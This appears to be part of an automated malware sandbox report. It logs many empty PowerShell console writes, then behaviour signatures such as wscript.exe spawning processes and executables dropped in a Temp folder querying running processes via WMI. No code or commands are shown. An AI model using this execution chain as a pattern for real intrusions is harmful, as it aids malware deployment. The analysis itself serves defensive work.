Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: |
Parts of this applications are using Borland Delphi (Probably coded in Delphi) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Key opened: |
Parts of this applications are using the .NET runtime (Probably coded in C#) | Show sources |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Section loaded: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Section loaded: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Section loaded: |
Queries process information (via WMI, Win32_Process) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | WMI Queries: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | WMI Queries: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | WMI Queries: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | WMI Queries: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | WMI Queries: |
Reads ini files | Show sources |
Source: C:\Windows\System32\wscript.exe | File read: |
Reads software policies | Show sources |
Source: C:\Windows\System32\wscript.exe | Key opened: |
Runs a DLL by calling functions | Show sources |
Source: unknown | Process created: |
Spawns processes | Show sources |
Source: unknown | Process created: | ||
Source: unknown | Process created: | ||
Source: unknown | Process created: | ||
Source: unknown | Process created: | ||
Source: unknown | Process created: | ||
Source: unknown | Process created: | ||
Source: unknown | Process created: | ||
Source: unknown | Process created: | ||
Source: C:\Windows\System32\wscript.exe | Process created: | ||
Source: C:\Windows\System32\wscript.exe | Process created: | ||
Source: C:\Windows\System32\wscript.exe | Process created: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Process created: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | Process created: | ||
